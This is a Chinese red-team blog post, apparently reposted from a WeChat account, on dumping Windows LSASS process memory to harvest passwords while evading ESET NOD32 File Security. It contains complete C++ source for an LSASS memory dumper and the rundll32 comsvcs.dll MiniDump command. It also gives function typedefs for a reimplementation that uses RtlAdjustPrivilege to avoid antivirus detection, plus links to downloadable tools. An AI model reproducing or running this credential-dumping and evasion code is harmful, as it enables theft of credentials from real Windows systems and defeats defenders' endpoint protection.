红队技巧:绕过ESET_NOD32抓取密码

admin 2021年2月18日01:00:50评论216 views字数 2133阅读7分6秒阅读模式

0x01 前言

冷逸老哥这篇文章中提到的虽说一个老方法,但也算是一种新的利用姿势,可以用来绕过安全防护软件对rundll32等敏感操作行为的拦截。


0x02 正文

聊一聊绕过ESET_NOD32抓取密码的方法,这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server,测试版本如下:

红队技巧:绕过ESET_NOD32抓取密码


为试用版本,并不影响我们的测试效果。目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump,demo如下:

#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment( lib, "Dbghelp.lib" )using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; }
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; }
return 0;}


编译好版本可以去我的Github下载:

  • https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump

我们来看看ESET_NOD32对它的反应:

红队技巧:绕过ESET_NOD32抓取密码

无情的删除,因为这类API已经被拦截的很严重了。这里我们使用另外的一种方法来进行操作。首先我们来看一个白名单文件, comsvcs.dll,使用它dump的方法如下:

rundll32 C:windowssystem32comsvcs.dll MiniDump "1234 dump.bin full"


1234为lsass的PID进程号,注意需要管理员权限,而这类行为又属于敏感行为,所以我们来自己实现一个该DLL的功能,主要为MiniDump,其为comsvcs.dll的一个导出函数。

红队技巧:绕过ESET_NOD32抓取密码


而权限提升可以使用RtlAdjustPrivilege来进行,这个函数封装在NtDll.dll中,MSDN没有专门的文档介绍它,就是说你在MSDN上查不到关于它的任何信息,但是可以在微软官方的WRK(Windows研究内核)里找到它的源代码。其定义如下:

NTSTATUS RtlAdjustPrivilege(ULONG Privilege,BOOLEAN Enable,BOOLEAN CurrentThread,PBOOLEAN Enabled)


剩下的将刚才所说的函数进行实现,demo如下:

typedef HRESULT(WINAPI* _MiniDumpW)(  DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);


最后成功的绕过了绕过ESET_NOD32 dump了进程。

红队技巧:绕过ESET_NOD32抓取密码


工程下载地址:

  • https://github.com/lengjibo/RedTeamTools/tree/master/windows/MiniDump




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?


推 荐 阅 读




红队技巧:绕过ESET_NOD32抓取密码
红队技巧:绕过ESET_NOD32抓取密码
红队技巧:绕过ESET_NOD32抓取密码

本文始发于微信公众号(潇湘信安):红队技巧:绕过ESET_NOD32抓取密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年2月18日01:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队技巧:绕过ESET_NOD32抓取密码http://cn-sec.com/archives/268218.html

发表评论

匿名网友 填写信息